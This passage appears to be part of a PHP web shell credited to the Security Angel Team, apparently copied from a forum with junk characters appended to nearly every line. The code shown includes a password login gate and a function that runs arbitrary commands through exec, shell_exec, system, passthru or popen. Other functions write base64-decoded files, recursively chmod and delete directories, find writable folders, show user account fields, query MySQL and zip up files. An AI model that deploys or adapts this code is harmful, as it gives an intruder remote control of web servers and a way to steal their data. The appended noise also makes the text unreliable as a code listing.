  1307.                 p('</ul>');
    2 X+ c0 G% ~. f. G/ N8 {* I0 `
  1308.         }
    5 y' Y! v& Q* J# U7 T. T
  1309. }//end phpenv
    ; J; \! f; o) N- g- x
  1310. * X3 J8 e  |" T# m7 x3 Z
  1311. else {; j+ W5 w1 j0 H, Z% G
  1312.         m('Undefined Action');6 S- p* ]& M( ?7 g0 [2 m" g
  1313. }1 H" g/ f- J& D' }! W
  1314. & n; X3 y% s& ], N, v$ s0 I
  1315. ?>
    5 P$ M- F% g* L1 |5 ?' y0 I
  1316. </td></tr></table>+ S7 R4 G& p4 ]9 I$ z
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">: B( v- s1 P1 \) M+ h' A
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    7 }! `& N, I9 p6 ~% e- I/ Y6 I) s
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved., r/ A( ?# D' w9 A1 s2 F; f. A6 ~$ X
  1320. </div>* t3 r, A; E" h1 s9 _6 q, _
  1321. </body>
    $ G/ R' ^3 W8 h
  1322. </html>) m) L. v2 b+ W# ]) K
  1323. 3 l' q8 J) C( J' n4 T6 ?/ h9 B% Q- s
  1324. <?php
    0 W+ x' d4 }* r- ^% s
  1325. : e, b# w" Z, M& ^* t
  1326. /*======================================================3 Z! q5 f) U4 J0 `4 Y0 E( U8 c
  1327. 函数库3 }" i' S8 I- z" s8 }5 V0 f
  1328. ======================================================*/# I- g# N8 [- N3 C
  1329. - F: d, w: v# \' B' @; L5 e
  1330. function m($msg) {! P. S! {/ ]1 v6 p8 @5 \
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    9 z/ |& s3 R6 l
  1332.         echo $msg;
    ) _+ u9 P3 c& J) j5 O) S5 H
  1333.         echo '</div>';5 ]% ]5 `: q  f: J9 {3 o  b& m
  1334. }: s7 }4 _) ]& I& i/ l  W
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    4 R! u! F7 K/ N. h+ i
  1336.         global $admin, $timestamp, $_SERVER;
    4 o9 {1 }( T; a8 k# o3 |/ j
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    + Q+ i* L6 i2 `5 X
  1338.         $life = $life ? $life : $admin['cookielife'];
    9 u& G: G6 t/ j
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;4 F9 L: h6 o2 y. e
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    ! U# C# K8 Z) P4 {! K( X
  1341. }        + F$ V  n+ D) J% q! y$ V
  1342. function multi($num, $perpage, $curpage, $tablename) {. g" Y3 D5 g4 f- I
  1343.         $multipage = '';: d. k; m/ j" C% C5 o1 W; ^4 @
  1344.         if($num > $perpage) {
    1 Y; f4 ^0 Z6 u5 v
  1345.                 $page = 10;
    - x" n3 D4 b: I7 \
  1346.                 $offset = 5;
    % r1 B5 x. I% n$ A, [# A* y
  1347.                 $pages = @ceil($num / $perpage);
    1 m" ?8 Z0 X. ^! F( f7 H& o4 r# s
  1348.                 if($page > $pages) {! K# D8 T3 R- ?+ H
  1349.                         $from = 1;
    , }8 ^6 M. k. Q* ?2 t) U
  1350.                         $to = $pages;
    3 z, a* n5 X6 \( p! b
  1351.                 } else {# x- w2 j0 y7 k
  1352.                         $from = $curpage - $offset;
      J7 I% }- C, w7 L. p: M! p' E
  1353.                         $to = $curpage + $page - $offset - 1;! m! ?& Q5 j- F! \  y4 G
  1354.                         if($from < 1) {& \! {3 W% q7 h" P- L
  1355.                                 $to = $curpage + 1 - $from;' d, y6 ~% ~9 d5 h% l$ }+ m( {# X' ~
  1356.                                 $from = 1;
    0 U; O6 b% a4 G& c
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    9 Z( a( m! a" k& S% R
  1358.                                         $to = $page;" L1 G! i. z0 T
  1359.                                 }; f5 R# a5 [4 ~! @
  1360.                         } elseif($to > $pages) {3 h- ?, K3 G  E4 i  F1 I1 _8 y0 w8 ^
  1361.                                 $from = $curpage - $pages + $to;" ?" }. K# r7 U6 o/ v
  1362.                                 $to = $pages;
    9 d. H1 |% c: m7 [
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    1 k" ?: |& H! y1 N; X8 o, Y
  1364.                                         $from = $pages - $page + 1;
    5 O$ N- W, }2 u* y+ v. o9 p
  1365.                                 }
    / k1 V- a# H8 M9 t2 d! j' @9 G- |
  1366.                         }
    6 s4 ], O; p9 @
  1367.                 }4 l8 n0 Y' ~5 U! o7 U- Y3 {
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');& N( v9 Z3 X8 r7 H4 }1 Z" k2 M9 W
  1369.                 for($i = $from; $i <= $to; $i++) {
    $ b! L5 V- S4 x- E, }- b. m" [
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
    " Q' Y1 {  f$ A  V7 L4 X& K% }
  1371.                 }! K9 M, k  e) O& b
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');8 i4 o& {  z- m0 T
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    9 d* ~% X+ m' m
  1374.         }
    4 \3 `5 p+ L. j; U# A  u4 n3 Y
  1375.         return $multipage;
    ' V! m. X" G: |5 ?
  1376. }
    / l* O5 v* n3 R
  1377. // 登陆入口
    ; N/ x$ v) r9 Y/ ~
  1378. function loginpage() {
    % t1 q: m- o) T' d. E
  1379. ?>+ C) t9 N7 m& r- X& b5 H
  1380.         <style type="text/css">
    9 w1 }" ]4 U+ n. M
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}! s- o! D5 S( V, ?, l/ |; V4 D
  1382.         </style>3 d/ v* ^+ {) D+ Z9 R! h
  1383.         <form method="POST" action="">
    " B+ S+ V& D) m" F. I0 N& \
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    ' V  @* T1 M1 I1 T8 r% t
  1385.         <input type="hidden" name="doing" value="login">
    , p$ N; j# {5 D1 M; ~0 E0 |
  1386.         <input type="submit" value="Login">. ], C" p3 f* ~' _* Q
  1387.         </form>, H  U9 Y% n7 g; v
  1388. <?php- [& n1 z8 e" I  D% H
  1389.         exit;- H$ u) |6 C1 l* ]& B
  1390. }//end loginpage()
    ( U% [) J# x; m) J5 i0 u
  1391. 7 r: ?! c* y  z. Z, A
  1392. function execute($cfe) {$ F! w6 \% g% _. @0 h2 V7 l1 V8 f
  1393.         $res = '';
    4 o- W0 D. e" b/ g# S) B3 y9 G
  1394.         if ($cfe) {
    ' _7 X% ]7 p# V
  1395.                 if(function_exists('exec')) {8 d! v; l! B- a, j9 d! M' |) S
  1396.                         @exec($cfe,$res);
    6 {% t- f: ?- ?7 h# K% Q" J
  1397.                         $res = join("\n",$res);
    3 H; N; D* K" M* ^
  1398.                 } elseif(function_exists('shell_exec')) {
    7 o. @$ P% P) q% ]. R0 c# D4 @: |- t
  1399.                         $res = @shell_exec($cfe);5 Q6 `9 T5 c4 D) ^8 A" k( ~
  1400.                 } elseif(function_exists('system')) {/ @& [; ~7 n. d. u+ N
  1401.                         @ob_start();) r. L" Q( O5 y0 l( S# \
  1402.                         @system($cfe);! C7 O$ j) u$ K7 ?
  1403.                         $res = @ob_get_contents();5 O1 H, j& B& U$ V' x9 J. U
  1404.                         @ob_end_clean();2 w( Z+ z+ ]$ p) I! ?
  1405.                 } elseif(function_exists('passthru')) {3 {8 J' q  P. f& Z+ j, W
  1406.                         @ob_start();! n4 |1 f: h2 K  B2 |. S& C
  1407.                         @passthru($cfe);: h3 O+ t  u, C1 j9 a! k1 E
  1408.                         $res = @ob_get_contents();; ]+ K2 x3 u" i4 T0 E
  1409.                         @ob_end_clean();& h: ^, ?  {1 B
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    ) j- d6 k$ n1 L% a: w& e' ]
  1411.                         $res = '';: r) I" l( U/ t8 c
  1412.                         while(!@feof($f)) {
    0 c2 P2 G7 @, k! b6 a. T
  1413.                                 $res .= @fread($f,1024);
    5 g4 a5 W$ T. y% t- z) |7 L: \
  1414.                         }. z: d' L5 }* p2 ~1 k- j
  1415.                         @pclose($f);' b+ x- q$ ?% J8 _2 b1 ~4 ^' m7 h. O
  1416.                 }
    - |' |+ p2 ^& l. P3 h. M9 T
  1417.         }5 K* n; t& G3 [# O6 L
  1418.         return $res;
    3 f3 X" I' K0 J( _; a; `
  1419. }
    2 Y. |8 P+ w5 w$ `
  1420. function which($pr) {; l6 R* G! r: n* n" T8 c- N; h
  1421.         $path = execute("which $pr");+ r( k! |% V1 v! e% ^* G3 u: u
  1422.         return ($path ? $path : $pr); & w8 r# [: w9 I, ?9 Z/ ]
  1423. }
    - |$ S7 w- k& p) A) U6 L

  1424. ! A) x0 L6 t  L
  1425. function cf($fname,$text){
    ) y0 |  l) a) j1 m6 t& I) k9 R
  1426.         if($fp=@fopen($fname,'w')) {
    $ a* E6 R" M! r3 d
  1427.                 @fputs($fp,@base64_decode($text));' N6 Q) _' e" ~. s2 p, N5 [
  1428.                 @fclose($fp);+ G8 V& x5 W) ^" l# u0 m; g) y. ]
  1429.         }1 d/ ]3 \! |* G0 K. z2 Q/ N( j
  1430. }
    4 k( t1 E( F1 E: I0 I6 N
  1431. . {0 P# J: c" o6 w7 U
  1432. // 页面调试信息
    ( N% y$ |' w) m  B
  1433. function debuginfo() {1 `7 R$ |) m& Q/ `
  1434.         global $starttime;
    . D; s, g" R* S$ F% B
  1435.         $mtime = explode(' ', microtime());/ g: E; S7 j! _8 K
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    0 l3 J4 `- t: p6 J2 u; r
  1437.         echo 'Processed in '.$totaltime.' second(s)';
    4 G3 y- n& q6 P( Z8 @# j
  1438. }
    / g$ p* e, z. Y) S  D: Z: o
  1439. # S. Q6 [( O2 ?  U
  1440. //连接数据库# |$ g  J* W6 n5 I
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {5 K! n+ ~+ v7 m/ Y! |! m+ e5 U
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    & w% E& A7 J) }7 H" e: k
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
      V9 j) D1 H0 a0 D, }5 F  }
  1444.                 exit;
    1 h5 p6 v* ~2 x9 g
  1445.         }
      b5 a6 |8 ]4 Z% F- Z- a
  1446.         if($link && $dbname) {
    1 S4 n6 t4 L$ W
  1447.                 if (!@mysql_select_db($dbname, $link)) {" Y9 d9 L, A( a; M- {& D
  1448.                         p('<h2>Database selected has error</h2>');/ K8 o% x; W% O! ?3 s
  1449.                         exit;
    * c' b6 w$ B8 s' O1 U1 u# u6 P4 B
  1450.                 }
    ; n; j5 x, k$ D
  1451.         }
    $ Z: w, X3 R0 S* t, S
  1452.         if($link && mysql_get_server_info() > '4.1') {9 w5 }' ?9 P$ b$ s0 ?- `
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {* ?) ?: w+ f2 L$ }* u8 M
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    * E- x$ Q* O1 ?' Q
  1455.                 }( R. H1 F* i0 `! |
  1456.         }
    ! }( ]* j% N  H, G7 G) t7 [
  1457.         return $link;& ^* X6 M9 ^" A. ]% z& e2 M& F2 Z( t
  1458. }& v7 Z$ {* }6 n
  1459. ; ~7 O' f; `, Q" O$ K/ Z5 m5 L
  1460. // 去掉转义字符6 _) C7 q2 R' P7 b
  1461. function s_array(&$array) {- Y' ?9 |! y* U. h# f3 H5 R5 I
  1462.         if (is_array($array)) {
    0 O/ l$ A3 K* D+ B! e: a/ R
  1463.                 foreach ($array as $k => $v) {
    ! b' H8 V2 |( S
  1464.                         $array[$k] = s_array($v);( |- b9 B+ x8 t9 ]+ r$ A  M4 Q# w
  1465.                 }
    5 a* E1 B. o+ ~# t) S( \/ v
  1466.         } else if (is_string($array)) {
    ' l4 L4 q" ], I1 [
  1467.                 $array = stripslashes($array);/ `) m- ?& `5 K8 X! }' J; Z! ]
  1468.         }1 w! M# a/ z& m/ |. y9 @+ l3 c
  1469.         return $array;0 V. u  p5 |$ S0 R: Q0 N
  1470. }4 \3 R2 D5 M, q  h- `

  1471. 2 c& f% i  L  N1 h
  1472. // 清除HTML代码
    7 a4 g' F- X3 b0 A) d; l, R, x" W
  1473. function html_clean($content) {
    $ y% B, T: t% k
  1474.         $content = htmlspecialchars($content);
    / s7 u' F2 o5 {4 i6 K0 `
  1475.         $content = str_replace("\n", "<br />", $content);
    2 T- D/ j5 A- R% B3 e5 r* V. A# L
  1476.         $content = str_replace("  ", "  ", $content);/ B. \& u" \. G
  1477.         $content = str_replace("\t", "    ", $content);
    . j# e$ G! V# d* a
  1478.         return $content;( O  v' y9 W5 |, [
  1479. }
    " Z$ D- @% C$ I# t
  1480. 7 w+ s4 K; f' S6 x
  1481. // 获取权限2 X+ u- X7 @! C' s3 J- r* D
  1482. function getChmod($filepath){0 }/ t$ ~9 W# }( J) \& R! Z5 D$ ?
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    : V9 s: h- q- N7 z$ D1 Y. o
  1484. }
    8 w- ^+ s/ k/ M: ?! g. v" T
  1485.   {: h* g5 f  h* _- N# Q( w
  1486. function getPerms($filepath) {) E& k' Z) ^% m% S- z  y; k
  1487.         $mode = @fileperms($filepath);
    5 a2 a, t' W, o9 y
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}  u( q/ G$ o% ^! S4 T) g
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    2 q1 q0 d: j- J) i0 D, y) |
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    : |3 q5 |( n# z0 @, T* q
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';} / |4 Z  \( L5 P6 u) w+ P
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}( m( Q% w& }$ T" w
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    ; i3 H$ G3 ?+ d/ w% n8 P! _+ h
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}1 a: e. j  l; E
  1495.         else {$type = '?';}9 p9 C) G1 z9 t& I
  1496. - o& L7 g* G2 ?, E3 \, |- o
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; / i8 k6 G3 O6 e3 {/ E4 p
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    4 \8 G3 F- j# {/ P( O
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + ], ?( n& ~* X. R' f
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-'; / e# Q4 p/ e, ]
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-'; 4 b& u! \# M/ s9 H; E3 [5 H3 P
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    , k7 G( D  P3 k* i! }5 G
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; : ]. o4 G8 Z: }$ {6 i  x7 d# @
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-'; , v4 i) y5 i+ v# ~! Z& a" v
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
    8 Y- g" j$ u. h; x; k
  1506. : P/ ~, H9 H. T+ S/ c. f
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}2 z% O6 D( _+ ?* H6 u9 w% n
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    , o7 D2 ~- b# \
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    " l/ l: y9 E4 R; L1 m# g3 a

  1510. & E+ l6 M% Q  y+ }1 D
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    # {& H6 w6 p. \* D
  1512. }/ J5 k1 G8 n1 l0 f

  1513. . h3 [. g& v* m
  1514. function getUser($filepath)        {" i7 G' C7 U0 ?$ a0 ^
  1515.         if (function_exists('posix_getpwuid')) {% Q; E) ~, p% L6 G( r
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    6 u8 s2 W6 U% {, I7 i) r
  1517.                 if ($array && is_array($array)) {
    ' c+ H0 d# E9 T/ e
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'$ J; q! Y0 N# B3 D6 U/ I9 A* d# K
  1519. Passwd: '.$array['passwd'].'
    2 T5 n2 l4 o, n" c1 l8 o; X2 C6 m
  1520. Uid: '.$array['uid'].'; j: O2 t' L9 C. ?$ G6 q
  1521. gid: '.$array['gid'].'
    : {. Q' ~, H, e0 g
  1522. Gecos: '.$array['gecos'].'+ t8 b& l$ K5 h# x( }/ g) r
  1523. Dir: '.$array['dir'].'
    1 l3 x5 T6 f, y6 H6 \( q5 s
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    1 I% \6 K$ O8 R# g% d# z
  1525.                 }
    9 i- u; L( G; S4 h) z# y9 \
  1526.         }
    - J' \1 W; c8 Z) ?( c# `
  1527.         return '';
    & X3 X' O- `; ]; t
  1528. }8 `; p2 P4 X0 c

  1529. ! b4 C( k0 l0 J3 I
  1530. // 删除目录
    + t; A; Y$ D" [- T% ~, Q3 ]
  1531. function deltree($deldir) {! y: z% q3 a3 {. A  {3 l6 Y
  1532.         $mydir=@dir($deldir);        / h! B, i4 g0 W, s2 K
  1533.         while($file=$mydir->read())        {                 ! I! `* K7 B3 r$ ?9 M8 x' Q
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
    / H* }4 A$ ~" q0 h) z2 `* W
  1535.                         @chmod($deldir.'/'.$file,0777);
    + w9 L. j, L: n3 Y7 D4 \. D7 M0 T
  1536.                         deltree($deldir.'/'.$file); 4 i, x" i( ^0 }
  1537.                 }& h! D( e/ ]9 L) c$ X
  1538.                 if (is_file($deldir.'/'.$file)) {  B* T3 A8 W" O: \# m% Y! N
  1539.                         @chmod($deldir.'/'.$file,0777);) @9 t3 {7 e; }' B
  1540.                         @unlink($deldir.'/'.$file);! R0 n1 C- E0 [
  1541.                 }  M: E; s- n8 E
  1542.         } 4 Y( U# D0 A. G$ y+ f% G0 S
  1543.         $mydir->close();
    + v9 s8 n. \1 m1 R- k
  1544.         @chmod($deldir,0777);
    / ?% N/ {# z; t
  1545.         return @rmdir($deldir) ? 1 : 0;2 S, [1 B/ i0 Z' k: ]
  1546. }
    " i! s3 o4 y' _

  1547. 5 o0 g: x. `3 W
  1548. // 表格行间的背景色替换
    ) v% }9 `- T2 o( N  O! y' W+ p% e
  1549. function bg() {$ ~7 H5 Q2 M* @  N+ U
  1550.         global $bgc;
    : C, @3 g1 W9 w' {8 l9 W
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';/ n3 E3 a% W: u) w
  1552. }
    " Q" d5 F7 c; L8 X0 p
  1553. 2 c8 c) Q1 Y4 X
  1554. // 获取当前的文件系统路径
    0 U7 E$ a# A- z, D5 R; u
  1555. function getPath($scriptpath, $nowpath) {# |! N# B8 P# V
  1556.         if ($nowpath == '.') {
    - d+ {: s- h1 u+ J2 R. ?
  1557.                 $nowpath = $scriptpath;) X1 S& p* H; D! L9 v# b6 D
  1558.         }8 i1 s% ^3 o4 ~* W$ P) ]
  1559.         $nowpath = str_replace('\\', '/', $nowpath);
    # r2 ]7 p* n  x: f9 {
  1560.         $nowpath = str_replace('//', '/', $nowpath);
    2 ~& q( b& A, J" F6 E; S
  1561.         if (substr($nowpath, -1) != '/') {
    - X; A- H8 k7 y3 j( ~6 `. P7 L
  1562.                 $nowpath = $nowpath.'/';
    * }8 C2 U3 ?8 s( n! d& k
  1563.         }
    - e6 |; b0 ]8 k
  1564.         return $nowpath;
    6 C0 J2 @1 A, q$ }, K
  1565. }
    7 [/ M) {1 W" R9 s4 T2 ?7 h

  1566. 3 g" B0 f% V7 ~2 W& ?" d% s
  1567. // 获取当前目录的上级目录+ v8 Z$ H' J: a: K: X2 Y
  1568. function getUpPath($nowpath) {
    # q! X, S1 t3 ~/ K
  1569.         $pathdb = explode('/', $nowpath);% v! Y/ L4 D9 l9 M. s2 N1 v( {- x
  1570.         $num = count($pathdb);
    6 w/ D+ R4 `9 l, E
  1571.         if ($num > 2) {) I3 \3 j, @- B8 R
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);# H" A3 r* w% k9 G2 C
  1573.         }
    % S" w$ B% K' `0 F5 w0 B6 x' }8 f9 R2 M
  1574.         $uppath = implode('/', $pathdb).'/';
    $ s; m& h5 i1 m/ i+ M
  1575.         $uppath = str_replace('//', '/', $uppath);9 g* u. s- V* T8 {! M; P
  1576.         return $uppath;
    ) E% H1 ]  ?* s5 j3 u& C1 k* a; B
  1577. }
    : q+ l2 C2 `. m- w$ {5 H
  1578. 9 o7 `2 W+ n, n5 n$ \, B
  1579. // 检查PHP配置参数
    . x  Z9 K" F+ W
  1580. function getcfg($varname) {) I/ N7 \0 x- S) m3 X  Q' q( U
  1581.         $result = get_cfg_var($varname);
    " D" p, H$ u9 U+ V8 s  G& H/ c
  1582.         if ($result == 0) {: g! o8 i! H. e) u# m$ V  A) j* s
  1583.                 return 'No';2 _7 @* d+ B) X% c
  1584.         } elseif ($result == 1) {
    2 Q5 \/ w$ l. [  ?* O+ h5 O  z
  1585.                 return 'Yes';# u- x# E+ u6 V4 J" ~
  1586.         } else {
    2 f7 {% ?" q7 A) S1 V/ P
  1587.                 return $result;
    ' C# C- }* f1 P
  1588.         }
    , e& B- O8 Y4 J: H( s1 \
  1589. }! h  J) u4 j. c( P

  1590. & {6 n- ]/ v9 I) A
  1591. // 检查函数情况7 j( u  A$ O) h; z7 c3 s$ V
  1592. function getfun($funName) {# q# P4 I) z! K2 R* G8 E: Y+ K* d- ]9 p
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    ; N' I) p. G# o/ |& U6 S, Z
  1594. }9 Y: C4 G  S9 @$ e) g
  1595. $ `! j6 f  }6 s: N
  1596. function GetList($dir){- D) d' w# c0 e, M# `8 u4 t
  1597.         global $dirdata,$j,$nowpath;
    * }4 E8 d' Q! F% H
  1598.         !$j && $j=1;7 i8 k$ a  ?" O7 a! t
  1599.         if ($dh = opendir($dir)) {$ z  v4 I7 J) N) u
  1600.                 while ($file = readdir($dh)) {1 r( R9 o% E4 e# S! U: ^
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);) K6 D  W" [; V# T/ c/ ]
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){
    7 B0 S; H, C$ G: b3 \8 f5 e
  1603.                                 if (is_writable($f)) {. p+ ?( R; |& [: O1 z+ P! H9 d7 V
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);) O4 H4 r* s% ]
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));  Y1 F, m. Z0 t3 q0 j) E5 H
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    $ e0 k& [7 D  o, B7 T1 N
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    / \9 w  I% Z# Y- Q6 B  v, D5 x
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);
    ( y% e; X" q: o. W' z7 o6 B
  1609.                                         $dirdata[$j]['server_link']=$f;
    + h& p3 _% u- j% E$ e' ^3 |; u7 |5 _
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    8 c/ x! |4 y0 b3 I9 d
  1611.                                         $j++;
    - Z9 _" t! F$ _; w, P- l. l/ k
  1612.                                 }
    - t" J8 W+ a& Y6 i2 B9 N7 G* ~- ~
  1613.                                 GetList($f);
    4 M' Z" o# ]' v0 U
  1614.                         }
    # h+ M" }8 ?# l1 D8 M; O( M7 @
  1615.                 }
    & [  I( s( L' q# A
  1616.                 closedir($dh);
    $ q' D5 ?; E" E  Y  k& |& x4 @
  1617.                 clearstatcache();8 O+ N0 J& o. w3 \( V1 j# {- ]
  1618.                 return $dirdata;( ~! K$ {( ]) j! V( j0 u8 d5 `' |0 [" _
  1619.         } else {7 u) I9 P" J7 v2 w7 [
  1620.                 return array();
    . c1 [, P6 d# P
  1621.         }6 T9 I. o) P. M, ^% a& i
  1622. }
    % p/ B0 n9 J6 U7 O
  1623. $ S7 Y* _" J4 Y
  1624. function qy($sql) {
      y7 T2 Y3 p1 `. t+ W& f
  1625.         //echo $sql.'<br>';
    8 q7 P4 N# ^$ m" [4 q
  1626.         $res = $error = '';
    # R( `3 X! p" \4 a+ Z* r( W
  1627.         if(!$res = @mysql_query($sql)) {
    4 K4 R4 e' ?1 n
  1628.                 return 0;
    5 r9 [$ e2 k( X6 @1 {( _
  1629.         } else if(is_resource($res)) {
    + X$ E& J# u5 e
  1630.                 return 1;
    9 O0 X' N# v4 F2 e# a; r5 n$ G
  1631.         } else {
    , `8 @9 z( R3 F* ~3 x7 [% c% H
  1632.                 return 2;
    # q! U! U- {# s$ ]
  1633.         }        # w+ \! d" `# ~1 `$ O2 N0 E
  1634.         return 0;
    0 W8 s+ L2 l" v6 I% {! O
  1635. }& `5 y8 |6 c5 Z. R5 {. f. S& \0 x
  1636. , @6 D# k& r. a
  1637. function q($sql) { 0 R7 ^/ {$ H0 C5 q; w. s) C/ r3 ~
  1638.         return @mysql_query($sql);% \: V0 @* ?# S  z
  1639. }$ u" h" @, e/ o/ c) a% C

  1640. % h3 _( K  a: i( Q) w# @/ w
  1641. function fr($qy){$ h& G" f! h8 P3 o% j$ ~& M8 D- w
  1642.         mysql_free_result($qy);, S4 e" |2 Q; p' T. S1 G+ V: S) A
  1643. }+ {1 H8 F- i3 S- P. N
  1644. 3 C& Q0 C! W) G5 D3 x) _
  1645. function sizecount($size) {
    5 H4 o% y2 I; G  X7 {
  1646.         if($size > 1073741824) {
    + A! o2 g7 A1 p
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';9 |0 W  i$ x) l
  1648.         } elseif($size > 1048576) {2 o" L6 @* D  S! }
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
    % L4 N7 ?0 t; U7 B8 A; J
  1650.         } elseif($size > 1024) {" V# O- x" V' a  `1 R5 V4 Z
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';) M: v  n7 p% Y
  1652.         } else {* x4 O) q8 `( ]0 u& s8 d
  1653.                 $size = $size . ' B';8 i& ?1 w& c% T' v% i: y: @; u
  1654.         }
    1 A. x- y9 u9 c/ ?) G& F! C- |
  1655.         return $size;& ?# D& P7 w0 C: Y. }
  1656. }* j, F1 c" v* m3 {0 B

  1657.   e* y! I" _0 B# A5 U3 X
  1658. // 压缩打包类& ]# j- y# a2 v/ i; k3 X
  1659. class PHPZip{
    9 L; t, G7 _6 [- ?2 V, t
  1660.         var $out='';2 P5 ^" M! r; t# o; h) F& Z
  1661.         function PHPZip($dir)        {
    " M4 r3 O6 A. ~) M/ x- h
  1662.                 if (@function_exists('gzcompress'))        {2 I& K+ ?/ d& d, {8 A$ C
  1663.                         $curdir = getcwd();* I1 S7 ]- d- |& {" ?# w
  1664.                         if (is_array($dir)) $filelist = $dir;
    9 U2 C3 j4 W. Y* y5 p* O+ ]
  1665.                         else{
    5 z2 m9 P2 a; T6 ^( }9 E" p( {: D* H( ~
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表, R- M2 t" v! ]& D: i) o* ?
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);# c- d0 V0 e( y: H; o
  1668.                         }$ T3 B7 u1 l1 n
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
    & n( l+ a6 c2 E, R2 x5 j0 E
  1670.                         else chdir($curdir);
    " |0 w/ `; m; y/ c
  1671.                         if (count($filelist)>0){+ N$ E; o4 L( b% Z0 X: ~) C
  1672.                                 foreach($filelist as $filename){+ f! u5 q$ N; y+ g0 Y- m. U% L
  1673.                                         if (is_file($filename)){
    * b! {# p( C' O2 n; x
  1674.                                                 $fd = fopen ($filename, 'r');' W# r4 F( f. o! b, V/ \
  1675.                                                 $content = @fread ($fd, filesize($filename));
    2 T. }/ q" m' N) Y& R' c4 }5 h
  1676.                                                 fclose ($fd);  ~/ Z' o& V3 [) x$ ]
  1677.                                                 if (is_array($dir)) $filename = basename($filename);. S; E- n! h2 r/ i6 S! B& K# q
  1678.                                                 $this -> addFile($content, $filename);
    ! P! _7 i1 @, Y& h' n  f0 a# B) Z
  1679.                                         }
    " \4 {# ^: g+ W# c! H5 x
  1680.                                 }
    & y% `8 V; }; _, S
  1681.                                 $this->out = $this -> file();1 _& }$ T9 i: I9 f8 Y9 t; x$ I) [
  1682.                                 chdir($curdir);
    1 O. R% `! t3 G" \% F
  1683.                         }4 _  D  b  Q1 i& l4 F. T
  1684.                         return 1;; E+ F; e8 `) E( u8 l
